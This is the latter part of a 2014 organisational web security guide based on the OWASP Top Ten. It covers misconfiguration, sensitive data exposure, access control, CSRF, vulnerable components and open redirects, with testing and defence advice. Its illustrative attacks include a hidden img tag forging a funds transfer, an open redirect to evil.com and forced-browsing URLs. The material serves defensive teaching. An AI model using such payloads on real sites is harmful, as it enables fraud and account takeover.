**Scenario #1:** The application relies on a powerful framework like Struts or Spring. XSS flaws are found in these framework components. An update is released to fix these flaws but the libraries are not updated. Until the libraries are updated, attackers can easily find and exploit these flaws in the application.

**Scenario #2:** The application server admin console is automatically installed and not removed. Default accounts aren’t changed. Attacker discovers the standard admin pages are on your server, logs in with default passwords, and takes over.

**Scenario #3:** Directory listing is not disabled on a server. Attackers discover they can simply list directories to find any file. The attackers find and download all the compiled Java classes, which they reverse engineer to get all the custom code. The attackers then find a serious access control flaw in an application.

**Scenario #4:** App server configuration allows stack traces to be returned to users, potentially exposing underlying flaws. Attackers love the extra information error messages provide.

5.4. **Testing and Defences for Application Security Misconfiguration**

Developers and network administrators need to work together to ensure that the entire stack is configured properly. Automated scanners are useful for detecting missing patches, misconfigurations, use of default accounts, unnecessary services, etc.

The primary recommendations are to establish all of the following:

1. A repeatable hardening process that makes it fast and easy to deploy another environment that is properly locked down. Development, QA, and production environments should all be configured identically. This process should be automated to minimize the effort required to setup a new secure environment.

2. A process for keeping abreast of and deploying all new software updates and patches in a timely manner to each deployed environment. This needs to include all code libraries.

3. A strong application architecture that provides good separation and security between components.

4. Consider running scans and doing audits periodically to help detect future misconfigurations or missing patches.

Often analysis of the infrastructure and topology architecture can reveal a great deal about a web application. Information such as source code, HTTP methods permitted, administrative functionality,
authentication methods, and infrastructural configurations can be obtained. Tests for secure configuration management include the following:

**SSL/TLS Testing (OWASP-CM-001)**

SSL and TLS are two protocols that provide, with the support of cryptography, secure channels for the protection, confidentiality, and authentication of the information being transmitted. Considering the criticality of these security implementations, it is important to verify the usage of a strong cipher algorithm and its proper implementation.

**DB Listener Testing (OWASP-CM-002)**

During the configuration of a database server, many DB administrators do not adequately consider the security of the DB listener component. The listener could reveal sensitive data as well as configuration settings or running database instances if insecurely configured and probed with manual or automated techniques. Information revealed will often be useful to a tester serving as input to more impacting follow-on tests.

**Infrastructure Configuration Management Testing (OWASP-CM-003)**

The intrinsic complexity of interconnected and heterogeneous web server infrastructure, which can count hundreds of web applications, makes configuration management and review a fundamental step in testing and deploying every single application. In fact it takes only a single vulnerability to undermine the security of the entire infrastructure, and even small and (almost) unimportant problems may evolve into severe risks for another application on the same server. In order to address these problems, it is of utmost importance to perform an in-depth review of configuration and known security issues.

**Application Configuration Management Testing (OWASP-CM-004)**

Web applications hide some information that is usually not considered during the development or configuration of the application itself. This data can be discovered in the source code, in the log files or in the default error codes of the web servers. A correct approach to this topic is fundamental during a security assessment.

**Testing for File Extensions Handling (OWASP-CM-005)**

The file extensions present in a web server or a web application make it possible to identify the technologies which compose the target application, e.g. jsp and asp extensions. File extensions can also expose additional systems connected to the application.

**Old, Backup and Unreferenced Files (OWASP-CM-006)**

Redundant, readable and downloadable files on a web server, such as old, backup and renamed files, are a big source of information leakage. It is necessary to verify the presence of these files because they may contain parts of source code, installation paths as well as passwords for applications and/or databases.

**Infrastructure and Application Admin Interfaces (OWASP-CM-007)**

Many applications use a common path for administrative interfaces which can be used to guess or brute force administrative passwords. This test tends to find admin interfaces and understand if it is possible to exploit it to access to admin functionality.

**Testing for HTTP Methods and XST (OWASP-CM-008)**

In this test we check that the web server is not configured to allow potentially dangerous HTTP commands (methods) and that Cross Site Tracing (XST) is not possible.
6. **Sensitive Data Exposure**

6.1. **What is Sensitive Data Exposure?**

Protecting sensitive data with cryptography has become a key part of most web applications. Simply failing to encrypt sensitive data is very widespread. Applications that do encrypt frequently contain poorly designed cryptography, either using inappropriate ciphers or making serious mistakes using strong ciphers. These flaws can lead to disclosure of sensitive data and compliance violations.

The most common flaw is simply not encrypting data that deserves encryption. When encryption is employed, unsafe key generation and storage, not rotating keys and weak algorithm usage is common. Use of weak or unsalted hashes to protect passwords is also common.

Applications frequently do not protect network traffic. They may use SSL/TLS during authentication, but not elsewhere, exposing data and session IDs to interception. Expired or improperly configured certificates may also be used.

![Data Redaction](image)

Source: Oracle

External attackers have difficulty detecting such flaws due to limited access. They usually must exploit something else first to gain the needed access. Attackers typically don’t break crypto directly. They break something else, such as steal keys, do man-in-the-middle attacks, or steal clear text data off the server, while in transit, or from the user’s browser.

6.2. **Is My Organisation vulnerable to Sensitive Data Exposure?**

All web application frameworks are vulnerable to Sensitive Data Exposure. Would anyone (including internal administrators) like to gain access to protected My Organisation data they aren’t authorized for? Preventing sensitive data exposure flaws takes careful planning. The most common problems are:

- Not encrypting sensitive data everywhere it is stored, including backups;
- Using home grown algorithms;
- Insecure use of strong algorithms;
- Continued use of proven weak algorithms;
- Hard coding keys, and storing keys in unprotected stores;
- Not using SSL to protect all authentication related traffic.
- Not configuring all session cookies to have their ‘secure’ flag set to prevent the browser ever transmitting them in the clear.
The server certificate is not legitimate or properly configured for that server. This includes being issued by an authorized issuer, not expired, has not been revoked, and it matches all domains the site uses.

<table>
<thead>
<tr>
<th>Attack Vectors</th>
<th>Security Weakness</th>
<th>Technical Impacts</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exploitation</td>
<td>Prevalence</td>
<td>Detectability</td>
</tr>
<tr>
<td>DIFFICULT</td>
<td>UNCOMMON</td>
<td>AVERAGE</td>
</tr>
<tr>
<td>Attackers typically don’t break crypto directly. They break something else, such as steal keys, do man-in-the-middle attacks, or steal clear text data off the server, while in transit, or from the user’s browser.</td>
<td>The most common flaw is simply not encrypting sensitive data. When crypto is employed, weak key generation and management, and weak algorithm usage is common, particularly weak password hashing techniques. Browser weaknesses are very common and easy to detect, but hard to exploit on a large scale. External attackers have difficulty detecting server side flaws due to limited access and they are also usually hard to exploit.</td>
<td>Failure frequently compromises all data that should have been protected. Typically, this information includes sensitive data such as health records, credentials, personal data, credit cards, etc.</td>
</tr>
</tbody>
</table>

Source: OWASP

6.3. **Sensitive Data Exposure Examples:**

**Example Scenario 1:** A backup tape is made of encrypted records, but the encryption key is on the same backup. The tape never arrives at the backup centre and falls into the wrong hands.

**Example Scenario 2:** The password database uses unsalted hashes to store everyone’s passwords. A file upload flaw allows an attacker to retrieve the password file. All the unsalted hashes can be brute forced in 4 weeks, while properly salted hashes would have taken over 3000 years.

**Example Scenario 3:** A site doesn’t use SSL for all pages that require authentication. An attacker simply monitors network traffic (like an open wireless or their neighbourhood cable modem network), and observes an authenticated victim’s session cookie. Attacker then replays this cookie and takes over the user’s session.

**Example Scenario 4:** A site has improperly configured SSL certificate which causes browser warnings for its users. Users have to accept such warnings and continue, in order to use the site. This causes users to get accustomed to such warnings. Phishing attack against the site’s customers lures them to a lookalike site which doesn’t have a valid certificate, which generates similar browser warnings. Since victims are accustomed to such warnings, they proceed on and use the phishing site, giving away passwords or other private data.

**Example Scenario 5:** A site simply uses standard ODBC/JDBC for the database connection, not realizing all traffic is in the clear.

6.4. **Testing and defences for Sensitive Data Exposure**

The goal is to verify that the application properly encrypts sensitive information in storage.

Automated approaches: Vulnerability scanning tools cannot verify cryptographic storage at all. Code scanning tools can detect use of known cryptographic APIs, but cannot detect if it is being used properly or if the encryption is performed in an external component.

Manual approaches: Like scanning, testing cannot verify cryptographic storage. Code review is the best way to verify that an application encrypts sensitive data and has properly implemented the mechanism and key management. This may involve the examination of the configuration of external systems in some cases.
The most important aspect is to ensure that everything that should be encrypted is actually encrypted. Then you must ensure that the cryptography is implemented properly. As there are so many ways of using cryptography improperly, the following recommendations should be taken as part of your testing regime to help ensure secure sensitive data handling:

- Do not create cryptographic algorithms. Only use approved public algorithms such as AES, RSA public key cryptography, and SHA-256 or better for hashing.
- Do not use weak algorithms, such as MD5 / SHA1. Favor safer alternatives, such as SHA-256 or better.
- Generate keys offline and store private keys with extreme care. Never transmit private keys over insecure channels.
- Ensure that infrastructure credentials such as database credentials or MQ queue access details are properly secured (via tight file system permissions and controls), or securely encrypted and not easily decrypted by local or remote users.
- Ensure that encrypted data stored on disk is not easy to decrypt. For example, database encryption is worthless if the database connection pool provides unencrypted access.
- Require SSL for all sensitive pages. Non-SSL requests to these pages should be redirected to the SSL page.
- Set the ‘secure’ flag on all sensitive cookies.
- Configure your SSL provider to only support strong (e.g., FIPS 140-2 compliant) algorithms.
- Ensure your certificate is valid, not expired, not revoked, and matches all domains used by the site.
- Backend and other connections should also use SSL or other encryption technologies.

Here is a black-box testing example:

Examine the validity of the certificates used by the application. Browsers will issue a warning when encountering expired certificates, certificates issued by untrusted CAs, and certificates which do not match name-wise with the site to which they should refer. By clicking on the padlock which appears in the browser window when visiting an https site, you can look at information related to the certificate – including the issuer, period of validity, encryption characteristics, etc.

If the application requires a client certificate, you may have one installed to access it. Certificate information is available in the browser by inspecting the relevant certificate(s) in the list of the installed certificates.

These checks must be applied to all visible SSL-wrapped communication channels used by the application. Though the usual https service runs on port 443, there may be additional services involved depending on the web application architecture and on deployment issues (an https administrative port left open, https services on non-standard ports, etc.). Therefore, apply these checks to all SSL-wrapped ports discovered. For example: The nmap scanner features a scanning mode (enabled by the –SV command line switch) which identifies SSL-wrapped services. The Nessus vulnerability scanner has the capability of performing SSL checks on all SSL/TLS-wrapped services.
7. Missing Function Level Access Control

7.1. What is Missing Function Level Access Control?

Frequently, the only protection for a URL is that links to that page are not presented to unauthorized users. However, a motivated, skilled, or just plain lucky attacker may be able to find and access these pages, invoke functions, and view data. Security by obscurity is not sufficient to protect sensitive functions and data in an application. Access control checks must be performed before a request to a sensitive function is granted, to ensure the user is authorized to access that function.

The primary attack method for this vulnerability is called "forced browsing", which encompasses guessing links and brute force techniques to find unprotected pages. Applications frequently allow access control code to evolve and spread throughout a code-base, resulting in a complex model that is difficult to understand for developers and security specialists alike. This complexity makes it likely that errors will occur and pages will be missed, leaving them exposed.

7.2. Is My Organisation vulnerable to Missing Function Level Access Control?

The best way to find out if an My Organisation application has failed to properly restrict function level access is to verify every application function:

1. Does the UI show navigation to unauthorized functions?
2. Are server side authentication or authorization checks missing?
3. Are server side checks done that solely rely on information provided by the attacker?

Using a proxy, browse the application with a privileged role. Then revisit restricted pages using a less privileged role. If the server responses are alike, the My Organisation application is probably vulnerable. Some testing proxies directly support this type of analysis.

You can also check the access control implementation in the code. Try following a single privileged request through the code and verifying the authorization pattern. Then search the code base to find where that pattern is not being followed.

Automated tools are unlikely to find these problems.

Such flaws are frequently introduced when links and buttons are simply not displayed to unauthorized users, but the application fails to protect the pages they target.

External security mechanisms frequently provide authentication and authorization checks for page access. My Organisation Testers should verify they are properly configured for every page. If code level protection is used, we should verify that code level protection is in place for every required page. Penetration testing can also verify whether proper protection is in place.
7.3. **Examples of Missing Function Level Access Control**

In one potential scenario an attacker simply force browses to target URLs. Consider the following (non-My Organisation) URLs which are both supposed to require authentication. Admin rights are also required for access to the “admin_getappInfo” page.

```
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
```

If the attacker is not authenticated, and access to either page is granted, then unauthorized access was allowed. If an authenticated, non-admin, user is allowed to access the “admin_getappInfo” page, this is a flaw, and may lead the attacker to more improperly protected admin pages.

Another example is the presence of "Hidden" or "special" URLs, rendered only to administrators or privileged users in the presentation layer, but accessible to all users if they know it exists, such as /admin/adduser.php or /approveTransfer.do. This is particularly prevalent with menu code.

7.4. **Testing and defences for Missing Function Level Access Control**

The goal is to verify that access control is enforced consistently in the presentation layer and the business logic for all URLs in the application.

Automated approaches: Both vulnerability scanners and static analysis tools have difficulty with verifying URL access control, but for different reasons. Vulnerability scanners have difficulty guessing hidden pages and determining which pages should be allowed for each user, while static analysis engines struggle to identify custom access controls in the code and link the presentation layer with the business logic.

Manual approaches: The most efficient and accurate approach is to use a combination of code review and security testing to verify the access control mechanism. If the mechanism is centralized, the verification can be quite efficient. If the mechanism is distributed across an entire codebase, verification can be more time-consuming. If the mechanism is enforced externally, the configuration must be examined and tested.

Taking the time to plan authorization by creating a matrix to map the roles and functions of the application is a key step in achieving protection against unrestricted URL access. Web applications must enforce access control on every URL and business function. It is not sufficient to put access control into the presentation layer and leave the business logic unprotected. It is also not sufficient to check once during the process to ensure the user is authorized, and then not check again on subsequent steps. Otherwise, an attacker can simply skip the step where authorization is checked, and forge the parameter values necessary to continue on at the next step.

Enabling URL access control takes some careful planning. Among the most important considerations:
Ensure the access control matrix is part of the business, architecture, and design of the application.

Ensure that all URLs and business functions are protected by an effective access control mechanism that verifies the user’s role and entitlements prior to any processing taking place. Make sure this is done during every step of the way, not just once towards the beginning of any multi-step process.

Perform a penetration test prior to deployment or code delivery to ensure that the application cannot be misused by a motivated skilled attacker.

Pay close attention to include library files, especially if they have an executable extension such as .php. Where feasible, they should be kept outside of the web root. They should verify that they are not being directly accessed, e.g. by checking for a constant that can only be created by the library’s caller.

Do not assume that users will be unaware of special or hidden URLs or APIs. Always ensure that administrative and high privilege actions are protected.

Block access to all file types that your application should never serve. Ideally, this filter would follow the "accept known good" approach and only allow file types that you intend to serve, e.g., .html, .pdf, .php. This would then block any attempts to access log files, xml files, etc. that you never intend to serve directly.

Keep up to date with virus protection and patches to components such as XML processors, word processors, image processors, etc., which handle user supplied data.

All My Organisation applications should have a consistent and easy-to-analyse authorization module that is invoked from all of our business functions. Frequently, such protection is provided by one or more components external to the application code.

1. Think about the process for managing entitlements and ensure you can update and audit easily. Don’t hard code.
2. The enforcement mechanism(s) should deny all access by default, requiring explicit grants to specific roles for access to every function.
3. If the function is involved in a workflow, check to make sure the conditions are in the proper state to allow access.

8. Cross-Site Request Forgery (CSRF)

8.1. What is Cross-Site Request Forgery?

Cross-Site Request Forgery (CSRF) is an attack that tricks the victim into loading a page that contains a malicious request. It is malicious in the sense that it inherits the identity and privileges of the victim to perform an undesired function on the victim’s behalf, like change the victim’s e-mail address, home address, or password, or purchase something. CSRF attacks generally target functions that cause a state change on the server but can also be used to access sensitive data.

For most sites, browsers will automatically include with such requests any credentials associated with the site, such as the user's session cookie, basic authentication credentials, IP address, Windows domain credentials, etc. Therefore, if the user is currently authenticated to the site, the site will have no way to distinguish this from a legitimate user request.

In this way, the attacker can make the victim perform actions that they didn't intend to, such as logout, purchase item, change account information, retrieve account information, or any other function provided by the vulnerable website.
Sometimes, it is possible to store the CSRF attack on the vulnerable site itself. Such vulnerabilities are called Stored CSRF flaws. This can be accomplished by simply storing an IMG or IFRAME tag in a field that accepts HTML, or by a more complex cross-site scripting attack. If the attack can store a CSRF attack in the site, the severity of the attack is amplified. In particular, the likelihood is increased because the victim is more likely to view the page containing the attack than some random page on the Internet. The likelihood is also increased because the victim is sure to be authenticated to the site already.

Source: Edward Lang

Synonyms: CSRF attacks are also known by a number of other names, including XSRF, "Sea Surf", Session Riding, Cross-Site Reference Forgery, and Hostile Linking. Microsoft refers to this type of attack as a One-Click attack in their threat modeling process and many places in their online documentation.

Although both are types of injection, CSRF exploits the trust an unsuspecting victims’ website has in the client browser, i.e. in the opposite direction to XSS.

8.2. **Is My Organisation vulnerable to Cross-Site Request Forgery?**

Since browsers send credentials like session cookies automatically, attackers can create malicious web pages which generate forged requests that are indistinguishable from legitimate ones. Attackers can cause victims to change any data the victim is allowed to change or perform any function the victim is authorized to use.

The easiest way to check whether an application is vulnerable is to see if each link and form contains an unpredictable token for each user. Without such an unpredictable token, attackers can forge malicious requests. Investigation should focus on the links and forms that invoke state-changing functions, since those are the most important CSRF targets. Check multi-step transactions as they are not inherently immune. Attackers can easily forge a series of requests by using multiple tags or possibly JavaScript. Note that session cookies, source IP addresses, and other information that is automatically sent by the browser are also included in forged requests.
8.3. **Cross-Site Request Forgery Example:**

The application allows a user to submit a state changing request that does not include anything secret. Like so:

```
http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
```

So, the attacker constructs a request that will transfer money from the victim’s account to their account, and then embeds this attack in an image request or iframe stored on various sites under the attacker’s control.

```
<img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" />
```

If the victim visits any of these sites while already authenticated to example.com, any forged requests will include the user’s session info, inadvertently authorizing the request. In this example the browser will try to display the specified zero-width (i.e., invisible) image as well. This action results in a request being automatically sent to the web application hosted on the site. It is not important that the image URL does not refer to a proper image, its presence will trigger the request specified in the `imgsrc` field anyway; this happens provided that image download is not disabled in the browsers, which is a typical configuration.

8.4. **Testing and Defences for Cross-Site Request Forgery**

Checking the referrer in the client’s HTTP request will prevent CSRF attacks. By ensuring the HTTP request have come from the original site means that the attacks from other sites will not function.

Audit the application to ascertain if its session management is vulnerable. If session management relies only on client side values (information available to the browser); then the application is vulnerable. “Client side values” are cookies and HTTP authentication credentials (Basic Authentication and other forms of HTTP authentication; NOT form-based authentication, which is an application-level authentication). For an application to not be vulnerable, it must include session-related information in the URL, in a form of unidentifiable or unpredictable by the user.

Resources accessible via HTTP GET requests are easily vulnerable, though POST requests can be automated via Javascript and are vulnerable as well; therefore, the use of POST alone is not enough to correct the occurrence of CSRF vulnerabilities.

To black box test, you need to know URLs in the restricted (authenticated) area. If you possess valid credentials, you can assume both roles – the attacker and the victim. In this case, you know the URLs to be tested just by browsing around the application. Otherwise, if you don’t have valid credentials
available, you have to organize a real attack, and so induce a legitimate, logged in user into following an appropriate link. This may involve a substantial level of social engineering.

Either way, a test case can be constructed as follows:

- Let u the URL being tested; for example, u = http://www.example.com/action
- Build an html page containing the http request referencing URL u (specifying all relevant parameters; in the case of http GET this is straightforward, while to a POST request you need to resort to some Javascript);
- Make sure that the valid user is logged on the application;
- Induce him into following the link pointing to the to-be-tested URL (social engineering involved if you cannot impersonate the user yourself);
- Observe the result, i.e. check if the web server executed the request.

9. Using Components with Known Vulnerabilities

9.1. What are Known Vulnerable Components?

Some vulnerable components (e.g., framework libraries) can be identified and exploited with automated tools, expanding the threat agent pool beyond targeted attackers to include chaotic actors. The attacker identifies a weak component through scanning or manual analysis. He/she customizes the exploit as needed and executes the attack. It gets more difficult if the used component is deep in the application.

The full range of weaknesses is possible, including injection, broken access control, XSS, etc. The impact could range from minimal to complete host takeover and data compromise.

9.2. Is My Organisation vulnerable to Using Components with Known Vulnerabilities?

According to OWASP, virtually every application has these issues because most development teams don’t focus on ensuring their components/libraries are up to date. In many cases, the developers don’t even know all the components they are using, never mind their versions. Component dependencies make things even worse.

Theoretically, it ought to be easy to discover if My Organisation is currently using any vulnerable components or libraries. Unfortunately, vulnerability reports do not always specify exactly which versions of a component are vulnerable in a standard, searchable way. Furthermore, not all libraries use an understandable version numbering system. Finally, not all vulnerabilities are reported to a central clearinghouse that is easy to search, although sites like CVE and NVD are becoming easier to search.

Determining if My Organisation is vulnerable requires searching these databases, as well as keeping abreast of project mailing lists and announcements for anything that might be a vulnerability. If one of our components does have a vulnerability, you should carefully evaluate whether you are actually vulnerable by checking to see if your code uses the part of the component with the vulnerability and whether the flaw could result in an impact My Organisation would care about.
9.3. **Examples of Using Components with Known Vulnerabilities:**

Component vulnerabilities can cause almost any type of risk imaginable, ranging from the trivial to sophisticated malware designed to target a specific organization. Components almost always run with the full privilege of the application, so flaws in any component can be serious. The following two vulnerable components were downloaded 22m times in 2011.

- **Apache CXF Authentication Bypass** – By failing to provide an identity token, attackers could invoke any web service with full permission. (Apache CXF is a services framework, not to be confused with the Apache Application Server.)

- **Spring Remote Code Execution** – Abuse of the Expression Language implementation in Spring allowed attackers to execute arbitrary code, effectively taking over the server.

Every application using either of these vulnerable libraries is vulnerable to attack as both of these components are directly accessible by application users. Other vulnerable libraries, used deeper in an application, may be harder to exploit.

9.4. **Testing and Defences for Using Components with Known Vulnerabilities:**

Testing can reveal components with vulnerabilities, but if the vulnerabilities are already known it is an inefficient method of re-discovering them.

Upgrading to new component versions that fix known vulnerabilities is critical. Software projects should have a process in place to:

1. Identify all components and the versions being used, including all dependencies. (e.g., the versions plugin).
2. Monitor the security of these components in public databases, project mailing lists, and security mailing lists, and keep them up to date.
3. Establish security policies governing component use, such as requiring certain software development practices, passing security tests, and acceptable licenses.
4. Where appropriate, consider adding security wrappers around components to disable unused functionality and/or secure weak or vulnerable aspects of the component.

Verifying the processes described above are in place is a recommended Quality Control activity.
10. **Un-validated Redirects and Forwards**

10.1. **What are Un-validated Redirects and Forwards?**

Applications frequently redirect users to other pages, or use internal forwards in a similar manner. Sometimes the target page is specified in an un-validated parameter, allowing attackers to choose the destination page. An attacker links to an un-validated redirect and tricks victims into clicking it. Victims are more likely to click on it, since the link is to a valid site. The attacker targets unsafe forward to bypass security checks. Such redirects may attempt to install malware or trick victims into disclosing passwords or other sensitive information. Unsafe forwards may allow access control bypass.

10.2. **Is My Organisation vulnerable to Un-validated Redirects and Forwards?**

The best way to find out if an application has any un-validated redirects or forwards is to:

1. Review the code for all uses of redirect or forward (called a transfer in .NET). For each use, identify if the target URL is included in any parameter values. If so, verify the parameter(s) are validated to contain only an allowed destination, or element of a destination.

2. Also, spider the site to see if it generates any redirects (HTTP response codes 300-307, typically 302). Look at the parameters supplied prior to the redirect to see if they appear to be a target URL or a piece of such a URL. If so, change the URL target and observe whether the site redirects to the new target.

3. If code is unavailable, check all parameters to see if they look like part of a redirect or forward URL destination and test those that do.

<table>
<thead>
<tr>
<th>Attack Vectors</th>
<th>Security Weakness</th>
<th>Technical Impacts</th>
</tr>
</thead>
<tbody>
<tr>
<td>Attacker links to unvalidated redirect and tricks victims into clicking it. Victims are more likely to click on it, since the link is to a valid site. Attacker targets unsafe forward to bypass security checks.</td>
<td>Applications frequently redirect users to other pages, or use internal forwards in a similar manner. Sometimes the target page is specified in an unvalidated parameter, allowing attackers to choose the destination page. Detecting unchecked redirects is easy. Look for redirects where you can set the full URL. Unchecked forwards are harder, because they target internal pages.</td>
<td>Such redirects may attempt to install malware or trick victims into disclosing passwords or other sensitive information. Unsafe forwards may allow access control bypass.</td>
</tr>
</tbody>
</table>

Source: OWASP

10.3. **Examples of Un-validated Redirects and Forwards**

Scenario 1: An application has a page called “redirect.jsp” which takes a single parameter named “url”. The attacker crafts a malicious URL redirecting users to a malicious site that performs phishing and installs malware.

```
http://www.example.com/redirect.jsp?url=evil.com
```

Scenario 2: An application uses forward to route requests between different parts of a site. To facilitate this action, some pages use a parameter to indicate where the user should be sent if a transaction is
successful. In this case, the attacker crafts a URL that will pass the application’s access control check and forward the attacker to an administrative function that they would not normally be able to access.

http://www.example.com/boring.jsp?fwd=admin.jsp

10.4. **Testing and Defences for Un-validated Redirects and Forwards**

Safe use of redirects and forwards can be done in a number of ways:

1. Simply avoid using redirects and forwards.
2. If used, don’t involve user parameters in calculating the destination. This can usually be done.
3. If destination parameters can’t be avoided, ensure that the supplied value is valid, and authorized for the user.

It is recommended that any such destination parameters be a mapping value, rather than the actual URL or portion of the URL, and that server side code translate this mapping to the target URL. Applications can use ESAPI to override the `sendRedirect()` method to make sure all redirect destinations are safe. Avoiding such flaws is extremely important as they are a favourite target of phishers trying to gain the user’s trust.
11. **About This Document**

11.1. **Referenced documents**

<table>
<thead>
<tr>
<th>Title</th>
<th>Locator</th>
</tr>
</thead>
<tbody>
<tr>
<td>Information security management</td>
<td><a href="http://www3.open.ac.uk/study/postgraduate/course/m886.htm">http://www3.open.ac.uk/study/postgraduate/course/m886.htm</a></td>
</tr>
<tr>
<td>Cross-Site Scripting</td>
<td><a href="https://www.acunetix.com/websitesecurity/xss/">https://www.acunetix.com/websitesecurity/xss/</a></td>
</tr>
<tr>
<td>IP address spoofing</td>
<td><a href="http://en.wikipedia.org/wiki/IP_address_spoofing">http://en.wikipedia.org/wiki/IP_address_spoofing</a></td>
</tr>
<tr>
<td>Taking the monkey work out of pentesting</td>
<td><a href="http://pentestmonkey.net/">http://pentestmonkey.net/</a></td>
</tr>
<tr>
<td>Webmaster Tools</td>
<td><a href="https://accounts.Google.com">https://accounts.Google.com</a></td>
</tr>
<tr>
<td>What is iRisk?</td>
<td><a href="http://community.securestate.com/index.php?title=What_is_iRiskk%6F&amp;goback=%2Egde_36874_member_179490322">http://community.securestate.com/index.php?title=What_is_iRiskk%6F&amp;goback=%2Egde_36874_member_179490322</a></td>
</tr>
<tr>
<td>Cross Site Request Forgery</td>
<td>Edward Lang <a href="http://www.cse.wustl.edu/~jain/cse571-09/ftp/social/">http://www.cse.wustl.edu/~jain/cse571-09/ftp/social/</a></td>
</tr>
</tbody>
</table>

11.2. **Document history**
<table>
<thead>
<tr>
<th>Version</th>
<th>Who</th>
<th>Date</th>
<th>What</th>
</tr>
</thead>
<tbody>
<tr>
<td>1.0</td>
<td>Declan O’Riordan</td>
<td>26/02/2014</td>
<td>Initial version for distribution to anyone.</td>
</tr>
</tbody>
</table>